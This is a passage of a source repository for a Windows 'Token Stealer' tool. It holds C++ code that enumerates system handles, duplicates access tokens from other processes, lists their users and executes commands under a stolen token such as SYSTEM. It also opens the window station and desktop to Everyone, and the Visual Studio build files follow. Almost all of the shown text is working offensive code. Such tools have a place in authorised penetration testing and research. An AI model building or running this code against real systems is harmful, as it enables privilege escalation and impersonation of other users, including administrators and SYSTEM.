527 | }
528 |
529 | // String is not in the array, so add it to the end
530 | if (num_TokenUsers >= max_TokenUsers) {
531 | // If the array is full, double its size
532 | max_TokenUsers = max_TokenUsers == 0 ? 1 : max_TokenUsers * 2;
533 | TokenUsers = (wchar_t**)realloc(TokenUsers, max_TokenUsers * sizeof(char*));
534 | }
535 | TokenUsers[num_TokenUsers] = _wcsdup(new_string);
536 | num_TokenUsers++;
537 | qsort(TokenUsers, num_TokenUsers, sizeof(wchar_t*), compare_strings);
538 | }
539 | int ListTokens(ULONG pid, BOOL extended_list)
540 | {
541 | _NtQuerySystemInformation NtQuerySystemInformation =
542 | (_NtQuerySystemInformation)GetLibraryProcAddress((PSTR)"ntdll.dll", (PSTR)"NtQuerySystemInformation");
543 | _NtDuplicateObject NtDuplicateObject =
544 | (_NtDuplicateObject)GetLibraryProcAddress((PSTR)"ntdll.dll", (PSTR)"NtDuplicateObject");
545 | _NtQueryObject NtQueryObject =
546 | (_NtQueryObject)GetLibraryProcAddress((PSTR)"ntdll.dll", (PSTR)"NtQueryObject");
547 | NTSTATUS status;
548 | PSYSTEM_HANDLE_INFORMATION handleInfo;
549 | ULONG handleInfoSize = 0x10000;
550 |
551 | HANDLE processHandle;
552 | ULONG i;
553 |
554 | POBJECT_TYPE_INFORMATION objectTypeInfo;
555 |
556 |
557 |
558 | BOOL success = FALSE;
559 | HANDLE dupHandle;
560 | wchar_t SamAccount[128];
561 | wchar_t SamAccountPid[256];
562 | SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
563 | DWORD psessid=1;
564 |
565 | if (!(processHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, pid)))
566 | {
567 | return 0;
568 | }
569 | bool b = ProcessIdToSessionId(pid, &psessid);
570 | if (SessionId != -1)
571 | {
572 |
573 | if (!b || psessid != SessionId)
574 | return 0;
575 |
576 |
577 | }
578 |
579 |
580 | handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
581 | while ((status = NtQuerySystemInformation(
582 | SystemHandleInformation,
583 | handleInfo,
584 | handleInfoSize,
585 | NULL
586 | )) == STATUS_INFO_LENGTH_MISMATCH)
587 | handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
588 | if (!NT_SUCCESS(status))
589 | {
590 | printf("NtQuerySystemInformation failed!\n");
591 | return 0;
592 | }
593 |
594 | for (i = 0; i < handleInfo->HandleCount; i++)
595 | {
596 | SYSTEM_HANDLE handle = handleInfo->Handles[i];
597 |
598 |
599 | if (handle.ProcessId != pid)
600 | continue;
601 |
602 | if (DuplicateHandle(processHandle, (HANDLE)handle.Handle,
603 | GetCurrentProcess(), &dupHandle,
604 | MAXIMUM_ALLOWED, FALSE, 0x02) == FALSE)
605 | {
606 | //printf("[-] Error Dup Handle!%d\n", GetLastError());
607 |
608 | continue;
609 | }
610 |
611 |
612 | objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
613 | if (!NT_SUCCESS(NtQueryObject(
614 | dupHandle,
615 | ObjectTypeInformation,
616 | objectTypeInfo,
617 | 0x1000,
618 | NULL
619 | )))
620 | {
621 | //printf("[-] Error NtQueryObject %d!\n",GetLastError());
622 |
623 | CloseHandle(dupHandle);
624 | continue;
625 | }
626 |
627 | if (!wcsncmp(objectTypeInfo->Name.Buffer, L"Token", objectTypeInfo->Name.Length / 2))
628 | {
629 | if (User_to_impersonate != NULL)
630 | {
631 | if (!IsValidToken(dupHandle))
632 | continue;
633 | }
634 | int tl = TokenLevel(dupHandle, &ImpersonationLevel);
635 |
636 | if (tl == -1)
637 | continue;
638 | if (TokenTypeNeeded == TOKEN_PRIMARY)
639 | {
640 | if (tl != TOKEN_PRIMARY)
641 | continue;
642 |
643 |
644 | }
645 | if (TokenTypeNeeded > TOKEN_PRIMARY)
646 | {
647 | if (ImpersonationLevel != TokenTypeNeeded)
648 | {
649 |
650 |
651 | continue;
652 | }
653 | }
654 |
655 | GetTokenUser(dupHandle, SamAccount);
656 | if (extended_list)
657 | {
658 |
659 | if (tl == TOKEN_PRIMARY)
660 | wsprintf((wchar_t*)SamAccountPid, L"%s:(P):%d:%d", (wchar_t*)SamAccount, pid,psessid);
661 | else
662 | wsprintf((wchar_t*)SamAccountPid, L"%s:%d:%d:%d", (wchar_t*)SamAccount, ImpersonationLevel, pid,psessid);
663 | add_string(SamAccountPid);
664 | }
665 | else
666 | add_string(SamAccount);
667 |
668 |
669 | }
670 | free(objectTypeInfo);
671 | CloseHandle(dupHandle);
672 | }
673 |
674 | free(handleInfo);
675 | CloseHandle(processHandle);
676 |
677 | return success;
678 | }
679 |
680 | DWORD GetServicePid(wchar_t* serviceName)
681 | {
682 | const auto hScm = OpenSCManager(nullptr, nullptr, NULL);
683 | const auto hSc = OpenService(hScm, serviceName, SERVICE_QUERY_STATUS);
684 |
685 | SERVICE_STATUS_PROCESS ssp = {};
686 | DWORD bytesNeeded = 0;
687 | QueryServiceStatusEx(hSc, SC_STATUS_PROCESS_INFO, reinterpret_cast(&ssp), sizeof(ssp), &bytesNeeded);
688 |
689 | CloseServiceHandle(hSc);
690 | CloseServiceHandle(hScm);
691 |
692 | return ssp.dwProcessId;
693 | }
694 | BOOL AddTheAceWindowStation(HWINSTA hwinsta, PSID psid)
695 | {
696 |
697 | ACCESS_ALLOWED_ACE* pace = NULL;
698 | ACL_SIZE_INFORMATION aclSizeInfo;
699 | BOOL bDaclExist;
700 | BOOL bDaclPresent;
701 | BOOL bSuccess = FALSE; // assume function will
702 | //fail
703 | DWORD dwNewAclSize;
704 | DWORD dwSidSize = 0;
705 | DWORD dwSdSizeNeeded;
706 | PACL pacl;
707 | PACL pNewAcl = NULL;
708 | PSECURITY_DESCRIPTOR psd = NULL;
709 | PSECURITY_DESCRIPTOR psdNew = NULL;
710 | PVOID pTempAce;
711 | SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
712 | unsigned int i;
713 |
714 | __try
715 | {
716 | if (!GetUserObjectSecurity(
717 | hwinsta,
718 | &si,
719 | psd,
720 | dwSidSize,
721 | &dwSdSizeNeeded
722 | ))
723 | if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
724 | {
725 | psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
726 | GetProcessHeap(),
727 | HEAP_ZERO_MEMORY,
728 | dwSdSizeNeeded
729 | );
730 | if (psd == NULL)
731 | __leave;
732 |
733 | psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
734 | GetProcessHeap(),
735 | HEAP_ZERO_MEMORY,
736 | dwSdSizeNeeded
737 | );
738 | if (psdNew == NULL)
739 | __leave;
740 |
741 | dwSidSize = dwSdSizeNeeded;
742 |
743 | if (!GetUserObjectSecurity(
744 | hwinsta,
745 | &si,
746 | psd,
747 | dwSidSize,
748 | &dwSdSizeNeeded
749 | ))
750 | __leave;
751 | }
752 | else
753 | __leave;
754 |
755 | if (!InitializeSecurityDescriptor(
756 | psdNew,
757 | SECURITY_DESCRIPTOR_REVISION
758 | ))
759 | __leave;
760 |
761 | if (!GetSecurityDescriptorDacl(
762 | psd,
763 | &bDaclPresent,
764 | &pacl,
765 | &bDaclExist
766 | ))
767 | __leave;
768 |
769 | ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
770 | aclSizeInfo.AclBytesInUse = sizeof(ACL);
771 | if (pacl != NULL)
772 | {
773 | if (!GetAclInformation(
774 | pacl,
775 | (LPVOID)&aclSizeInfo,
776 | sizeof(ACL_SIZE_INFORMATION),
777 | AclSizeInformation
778 | ))
779 | __leave;
780 | }
781 |
782 | dwNewAclSize = aclSizeInfo.AclBytesInUse + (2 *
783 | sizeof(ACCESS_ALLOWED_ACE)) + (2 * GetLengthSid(psid)) - (2 *
784 | sizeof(DWORD));
785 | pNewAcl = (PACL)HeapAlloc(
786 | GetProcessHeap(),
787 | HEAP_ZERO_MEMORY,
788 | dwNewAclSize
789 | );
790 | if (pNewAcl == NULL)
791 | __leave;
792 |
793 | if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
794 | __leave;
795 |
796 | if (bDaclPresent)
797 | {
798 |
799 | if (aclSizeInfo.AceCount)
800 | {
801 | for (i = 0; i < aclSizeInfo.AceCount; i++)
802 | {
803 | // get an ACE
804 | if (!GetAce(pacl, i, &pTempAce))
805 | __leave;
806 |
807 | // add the ACE to the new ACL
808 | if (!AddAce(
809 | pNewAcl,
810 | ACL_REVISION,
811 | MAXDWORD,
812 | pTempAce,
813 | ((PACE_HEADER)pTempAce)->AceSize
814 | ))
815 | __leave;
816 | }
817 | }
818 | }
819 |
820 | //
821 | // add the first ACE to the windowstation
822 | //
823 | pace = (ACCESS_ALLOWED_ACE*)HeapAlloc(
824 | GetProcessHeap(),
825 | HEAP_ZERO_MEMORY,
826 | sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) -
827 | sizeof(DWORD
828 | ));
829 | if (pace == NULL)
830 | __leave;
831 |
832 | pace->Header.AceType = ACCESS_ALLOWED_ACE_TYPE;
833 | pace->Header.AceFlags = CONTAINER_INHERIT_ACE |
834 | INHERIT_ONLY_ACE |
835 |
836 | OBJECT_INHERIT_ACE;
837 | pace->Header.AceSize = sizeof(ACCESS_ALLOWED_ACE) +
838 |
839 | GetLengthSid(psid) - sizeof(DWORD);
840 | pace->Mask = GENERIC_ACCESS;
841 |
842 | if (!CopySid(GetLengthSid(psid), &pace->SidStart, psid))
843 | __leave;
844 |
845 | if (!AddAce(
846 | pNewAcl,
847 | ACL_REVISION,
848 | MAXDWORD,
849 | (LPVOID)pace,
850 | pace->Header.AceSize
851 | ))
852 | __leave;
853 |
854 | //
855 | // add the second ACE to the windowstation
856 | //
857 | pace->Header.AceFlags = NO_PROPAGATE_INHERIT_ACE;
858 | pace->Mask = WINSTA_ALL;
859 |
860 | if (!AddAce(
861 | pNewAcl,
862 | ACL_REVISION,
863 | MAXDWORD,
864 | (LPVOID)pace,
865 | pace->Header.AceSize
866 | ))
867 | __leave;
868 |
869 | //
870 | // set new dacl for the security descriptor
871 | //
872 | if (!SetSecurityDescriptorDacl(
873 | psdNew,
874 | TRUE,
875 | pNewAcl,
876 | FALSE
877 | ))
878 | __leave;
879 |
880 | //
881 | // set the new security descriptor for the windowstation
882 | //
883 | if (!SetUserObjectSecurity(hwinsta, &si, psdNew))
884 | __leave;
885 |
886 | //
887 | // indicate success
888 | //
889 | bSuccess = TRUE;
890 | }
891 | __finally
892 | {
893 | //
894 | // free the allocated buffers
895 | //
896 | if (pace != NULL)
897 | HeapFree(GetProcessHeap(), 0, (LPVOID)pace);
898 |
899 | if (pNewAcl != NULL)
900 | HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);
901 |
902 | if (psd != NULL)
903 | HeapFree(GetProcessHeap(), 0, (LPVOID)psd);
904 |
905 | if (psdNew != NULL)
906 | HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
907 | }
908 |
909 | return bSuccess;
910 |
911 | }
912 |
913 | BOOL AddTheAceDesktop(HDESK hdesk, PSID psid)
914 | {
915 |
916 | ACL_SIZE_INFORMATION aclSizeInfo;
917 | BOOL bDaclExist;
918 | BOOL bDaclPresent;
919 | BOOL bSuccess = FALSE; // assume function will
920 | // fail
921 | DWORD dwNewAclSize;
922 | DWORD dwSidSize = 0;
923 | DWORD dwSdSizeNeeded;
924 | PACL pacl;
925 | PACL pNewAcl = NULL;
926 | PSECURITY_DESCRIPTOR psd = NULL;
927 | PSECURITY_DESCRIPTOR psdNew = NULL;
928 | PVOID pTempAce;
929 | SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
930 | unsigned int i;
931 |
932 | __try
933 | {
934 | //
935 | // obtain the security descriptor for the desktop object
936 | //
937 | if (!GetUserObjectSecurity(
938 | hdesk,
939 | &si,
940 | psd,
941 | dwSidSize,
942 | &dwSdSizeNeeded
943 | ))
944 | {
945 | if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
946 | {
947 | psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
948 | GetProcessHeap(),
949 | HEAP_ZERO_MEMORY,
950 | dwSdSizeNeeded
951 | );
952 | if (psd == NULL)
953 | __leave;
954 |
955 | psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
956 | GetProcessHeap(),
957 | HEAP_ZERO_MEMORY,
958 | dwSdSizeNeeded
959 | );
960 | if (psdNew == NULL)
961 | __leave;
962 |
963 | dwSidSize = dwSdSizeNeeded;
964 |
965 | if (!GetUserObjectSecurity(
966 | hdesk,
967 | &si,
968 | psd,
969 | dwSidSize,
970 | &dwSdSizeNeeded
971 | ))
972 | __leave;
973 | }
974 | else
975 | __leave;
976 | }
977 |
978 | //
979 | // create a new security descriptor
980 | //
981 | if (!InitializeSecurityDescriptor(
982 | psdNew,
983 | SECURITY_DESCRIPTOR_REVISION
984 | ))
985 | __leave;
986 |
987 | //
988 | // obtain the dacl from the security descriptor
989 | //
990 | if (!GetSecurityDescriptorDacl(
991 | psd,
992 | &bDaclPresent,
993 | &pacl,
994 | &bDaclExist
995 | ))
996 | __leave;
997 |
998 | //
999 | // initialize
1000 | //
1001 | ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
1002 | aclSizeInfo.AclBytesInUse = sizeof(ACL);
1003 |
1004 | //
1005 | // call only if NULL dacl
1006 | //
1007 | if (pacl != NULL)
1008 | {
1009 | //
1010 | // determine the size of the ACL info
1011 | //
1012 | if (!GetAclInformation(
1013 | pacl,
1014 | (LPVOID)&aclSizeInfo,
1015 | sizeof(ACL_SIZE_INFORMATION),
1016 | AclSizeInformation
1017 | ))
1018 | __leave;
1019 | }
1020 |
1021 | //
1022 | // compute the size of the new acl
1023 | //
1024 | dwNewAclSize = aclSizeInfo.AclBytesInUse +
1025 | sizeof(ACCESS_ALLOWED_ACE) +
1026 | GetLengthSid(psid) - sizeof(DWORD);
1027 |
1028 | //
1029 | // allocate buffer for the new acl
1030 | //
1031 | pNewAcl = (PACL)HeapAlloc(
1032 | GetProcessHeap(),
1033 | HEAP_ZERO_MEMORY,
1034 | dwNewAclSize
1035 | );
1036 | if (pNewAcl == NULL)
1037 | __leave;
1038 |
1039 | //
1040 | // initialize the new acl
1041 | //
1042 | if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
1043 | __leave;
1044 |
1045 | //
1046 | // if DACL is present, copy it to a new DACL
1047 | //
1048 | if (bDaclPresent) // only copy if DACL was present
1049 | {
1050 | // copy the ACEs to our new ACL
1051 | if (aclSizeInfo.AceCount)
1052 | {
1053 | for (i = 0; i < aclSizeInfo.AceCount; i++)
1054 | {
1055 | // get an ACE
1056 | if (!GetAce(pacl, i, &pTempAce))
1057 | __leave;
1058 |
1059 | // add the ACE to the new ACL
1060 | if (!AddAce(
1061 | pNewAcl,
1062 | ACL_REVISION,
1063 | MAXDWORD,
1064 | pTempAce,
1065 | ((PACE_HEADER)pTempAce)->AceSize
1066 | ))
1067 | __leave;
1068 | }
1069 | }
1070 | }
1071 |
1072 | //
1073 | // add ace to the dacl
1074 | //
1075 | if (!AddAccessAllowedAce(
1076 | pNewAcl,
1077 | ACL_REVISION,
1078 | DESKTOP_ALL,
1079 | psid
1080 | ))
1081 | __leave;
1082 |
1083 | //
1084 | // set new dacl to the new security descriptor
1085 | //
1086 | if (!SetSecurityDescriptorDacl(
1087 | psdNew,
1088 | TRUE,
1089 | pNewAcl,
1090 | FALSE
1091 | ))
1092 | __leave;
1093 |
1094 | //
1095 | // set the new security descriptor for the desktop object
1096 | //
1097 | if (!SetUserObjectSecurity(hdesk, &si, psdNew))
1098 | __leave;
1099 |
1100 | //
1101 | // indicate success
1102 | //
1103 | bSuccess = TRUE;
1104 | }
1105 | __finally
1106 | {
1107 | //
1108 | // free buffers
1109 | //
1110 | if (pNewAcl != NULL)
1111 | HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);
1112 |
1113 | if (psd != NULL)
1114 | HeapFree(GetProcessHeap(), 0, (LPVOID)psd);
1115 |
1116 | if (psdNew != NULL)
1117 | HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
1118 | }
1119 |
1120 | return bSuccess;
1121 | }
1122 |
1123 | PSID BuildEveryoneSid() {
1124 | SID_IDENTIFIER_AUTHORITY auth = SECURITY_WORLD_SID_AUTHORITY;
1125 | PSID pSID = NULL;
1126 | BOOL fSuccess = AllocateAndInitializeSid(&auth, 1,
1127 | SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pSID);
1128 | return(fSuccess ? pSID : NULL);
1129 | }
1130 | void SetWinDesktopPerms()
1131 | {
1132 | HWINSTA hwinstaold = GetProcessWindowStation();
1133 | DWORD lengthNeeded;
1134 | memset(WinStationName, 0, sizeof(WinStationName));
1135 | GetUserObjectInformationW(hwinstaold, UOI_NAME, WinStationName, 256, &lengthNeeded);
1136 |
1137 |
1138 |
1139 | HWINSTA hwinsta = OpenWindowStationW(WinStationName, FALSE, READ_CONTROL | WRITE_DAC);
1140 |
1141 | if (!SetProcessWindowStation(hwinsta))
1142 | printf("[-] Error SetProcessWindowStation:%d\n", GetLastError());
1143 |
1144 | HDESK hdesk = OpenDesktop(
1145 | L"default",
1146 | 0,
1147 | FALSE,
1148 | READ_CONTROL | WRITE_DAC |
1149 | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS
1150 | );
1151 | if (hdesk == NULL)
1152 | printf("[-] Error open Desktop:%d\n", GetLastError());
1153 | if (!SetProcessWindowStation(hwinstaold))
1154 | printf("[-] Error SetProcessWindowStation2:%d\n", GetLastError());
1155 |
1156 |
1157 | PSID psid = BuildEveryoneSid();
1158 |
1159 | if (!AddTheAceWindowStation(hwinstaold, psid))
1160 | printf("[-] Error add Ace Station:%d\n", GetLastError());
1161 | if (!AddTheAceDesktop(hdesk, psid))
1162 | printf("[-] Error add Ace desktop:%d\n", GetLastError());
1163 | //free(psid);
1164 | CloseWindowStation(hwinsta);
1165 |
1166 | CloseDesktop(hdesk);
1167 | }
1168 |
1169 | void usage()
1170 | {
1171 | printf("[!] Usage:\n");
1172 | printf("\t -l: list all users token\n");
1173 | printf("\t -e: list all users token with extended info ->\n\t\t ::\n");
1174 | printf("\t -p : list/steal token from specfic process pid\n");
1175 | printf("\t -u : list/steal token of user , default NT AUTHORITY\\SYSTEM for comamnd execution\n");
1176 | printf("\t -c : command to execute with token\n");
1177 | printf("\t -t: force use of Impersonation Privilege\n");
1178 | printf("\t -b : needed token type: 1=Primary,2=Impersonation,3=Delegation\n");
1179 | printf("\t -s : list/steal token from specific session\n");
1180 |
1181 | }
1182 | int wmain(int argc, WCHAR* argv[])
1183 | {
1184 | _NtQuerySystemInformation NtQuerySystemInformation =
1185 | (_NtQuerySystemInformation)GetLibraryProcAddress((PSTR)"ntdll.dll", (PSTR)"NtQuerySystemInformation");
1186 | _NtDuplicateObject NtDuplicateObject =
1187 | (_NtDuplicateObject)GetLibraryProcAddress((PSTR)"ntdll.dll", (PSTR)"NtDuplicateObject");
1188 | _NtQueryObject NtQueryObject =
1189 | (_NtQueryObject)GetLibraryProcAddress((PSTR)"ntdll.dll", (PSTR)"NtQueryObject");
1190 |
1191 |
1192 | ULONG handleInfoSize = 0x10000;
1193 | ULONG pid = 0;
1194 | HANDLE processHandle = NULL;
1195 |
1196 | HANDLE hObject = NULL;
1197 |
1198 |
1199 |
1200 |
1201 |
1202 | HANDLE dupHandle = NULL;
1203 |
1204 |
1205 |
1206 |
1207 |
1208 |
1209 | wchar_t* command = NULL;
1210 | BOOL list_mode = FALSE;
1211 | BOOL extended_list = FALSE;
1212 | int cnt = 1;
1213 | printf("[+] My personal simple and stupid Token Stealer... ;)\n");
1214 | printf("[+] v1.0 @decoder_it 2023\n\n");
1215 | while ((argc > 1) && (argv[cnt][0] == '-'))
1216 | {
1217 |
1218 | {
1219 | switch (argv[cnt][1])
1220 | {
1221 | case 'c':
1222 | ++cnt;
1223 | --argc;
1224 | command = argv[cnt];
1225 | break;
1226 | case 'b':
1227 | ++cnt;
1228 | --argc;
1229 | TokenTypeNeeded = _wtoi(argv[cnt]);
1230 |
1231 | break;
1232 | case 'p':
1233 | ++cnt;
1234 | --argc;
1235 | pid = _wtoi(argv[cnt]);
1236 | break;
1237 | case 'u':
1238 | ++cnt;
1239 | --argc;
1240 | User_to_impersonate = argv[cnt];
1241 | break;
1242 | case 't':
1243 | ForceImpersonation = TRUE;
1244 |
1245 | break;
1246 | case 'e':
1247 | extended_list = TRUE;
1248 |
1249 | list_mode = TRUE;
1250 | break;
1251 |
1252 | case 'l':
1253 | list_mode = TRUE;
1254 |
1255 | break;
1256 | case 's':
1257 | ++cnt;
1258 | --argc;
1259 | SessionId= _wtoi(argv[cnt]);
1260 | break;
1261 | case 'h':
1262 | usage();
1263 | exit(0);
1264 | break;
1265 | default:
1266 | printf("Wrong Argument: %ls\n", argv[1]);
1267 | usage();
1268 | exit(-1);
1269 | }
1270 |
1271 | ++cnt;
1272 | --argc;
1273 | }
1274 | }
1275 |
1276 | if (command == NULL && !list_mode) {
1277 | usage();
1278 | return 1;
1279 | }
1280 |
1281 |
1282 | SetWinDesktopPerms();
1283 | HANDLE hToken;
1284 | OpenProcessToken(GetCurrentProcess(),
1285 | TOKEN_ALL_ACCESS, &hToken);
1286 |
1287 |
1288 | HasAssignPriv = EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME);
1289 | EnablePriv(hToken, SE_IMPERSONATE_NAME);
1290 | EnablePriv(hToken, SE_DEBUG_NAME);
1291 |
1292 | if (pid == 0)
1293 | {
1294 | DWORD aProcesses[1024], cbNeeded, cProcesses;
1295 | unsigned int i;
1296 | BOOL b;
1297 | if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
1298 | {
1299 | return 1;
1300 | }
1301 |
1302 |
1303 |
1304 |
1305 | cProcesses = cbNeeded / sizeof(DWORD);
1306 |
1307 |
1308 |
1309 | for (i = 0; i < cProcesses; i++)
1310 | {
1311 | if (aProcesses[i] != 0)
1312 | {
1313 |
1314 | if (list_mode)
1315 | {
1316 |
1317 | ListTokens(aProcesses[i], extended_list);
1318 | }
1319 | else
1320 | {
1321 |
1322 |
1323 |
1324 | b = ExecuteWithToken(command, aProcesses[i]);
1325 |
1326 | if (b)
1327 | {
1328 | printf("ProcessId:%d\n", aProcesses[i]);
1329 | break;
1330 | }
1331 | }
1332 | }
1333 | }
1334 |
1335 | if (list_mode)
1336 | {
1337 | printf("Total unique items:%d\n\n", num_TokenUsers);
1338 | for (int i = 0; i < num_TokenUsers; i++)
1339 | {
1340 | printf("%S\n", TokenUsers[i]);
1341 | }
1342 | }
1343 |
1344 | }
1345 | else
1346 | {
1347 |
1348 | if (list_mode)
1349 |
1350 | {
1351 | ListTokens(pid, extended_list);
1352 | printf("Total unique users:%d\n", num_TokenUsers);
1353 | for (int i = 0; i < num_TokenUsers; i++)
1354 | {
1355 | printf("%S\n", TokenUsers[i]);
1356 | }
1357 | }
1358 | else
1359 | {
1360 | ExecuteWithToken(command, pid);
1361 | }
1362 |
1363 | }
1364 | return 0;
1365 | }
1366 |
1367 |
--------------------------------------------------------------------------------
/TokenStealer.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29503.13
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TokenStealer", "TokenStealer.vcxproj", "{ABC32DBD-B697-482D-A763-7BA82FE9CEA2}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {ABC32DBD-B697-482D-A763-7BA82FE9CEA2}.Debug|x64.ActiveCfg = Debug|x64
17 | {ABC32DBD-B697-482D-A763-7BA82FE9CEA2}.Debug|x64.Build.0 = Debug|x64
18 | {ABC32DBD-B697-482D-A763-7BA82FE9CEA2}.Debug|x86.ActiveCfg = Debug|Win32
19 | {ABC32DBD-B697-482D-A763-7BA82FE9CEA2}.Debug|x86.Build.0 = Debug|Win32
20 | {ABC32DBD-B697-482D-A763-7BA82FE9CEA2}.Release|x64.ActiveCfg = Release|x64
21 | {ABC32DBD-B697-482D-A763-7BA82FE9CEA2}.Release|x64.Build.0 = Release|x64
22 | {ABC32DBD-B697-482D-A763-7BA82FE9CEA2}.Release|x86.ActiveCfg = Release|Win32
23 | {ABC32DBD-B697-482D-A763-7BA82FE9CEA2}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {295F7A38-3F6E-42E2-9F39-84E330FDFEE1}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/TokenStealer.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {ABC32DBD-B697-482D-A763-7BA82FE9CEA2}
24 | Win32Proj
25 | TokenStealer
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | false
84 |
85 |
86 |
87 |
88 |
89 | Level3
90 | Disabled
91 | true
92 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
93 | true
94 |
95 |
96 | Console
97 | true
98 |
99 |
100 |
101 |
102 |
103 |
104 | Level3
105 | Disabled
106 | true
107 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
108 | true
109 |
110 |
111 | Console
112 | true
113 |
114 |
115 |
116 |
117 |
118 |
119 | Level3
120 | MaxSpeed
121 | true
122 | true
123 | true
124 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
125 | true
126 |
127 |
128 | Console
129 | true
130 | true
131 | true
132 |
133 |
134 |
135 |
136 |
137 |
138 | Level3
139 | MaxSpeed
140 | true
141 | true
142 | true
143 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
144 | true
145 | MultiThreaded
146 |
147 |
148 | Console
149 | true
150 | true
151 | true
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
--------------------------------------------------------------------------------
/TokenStealer.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------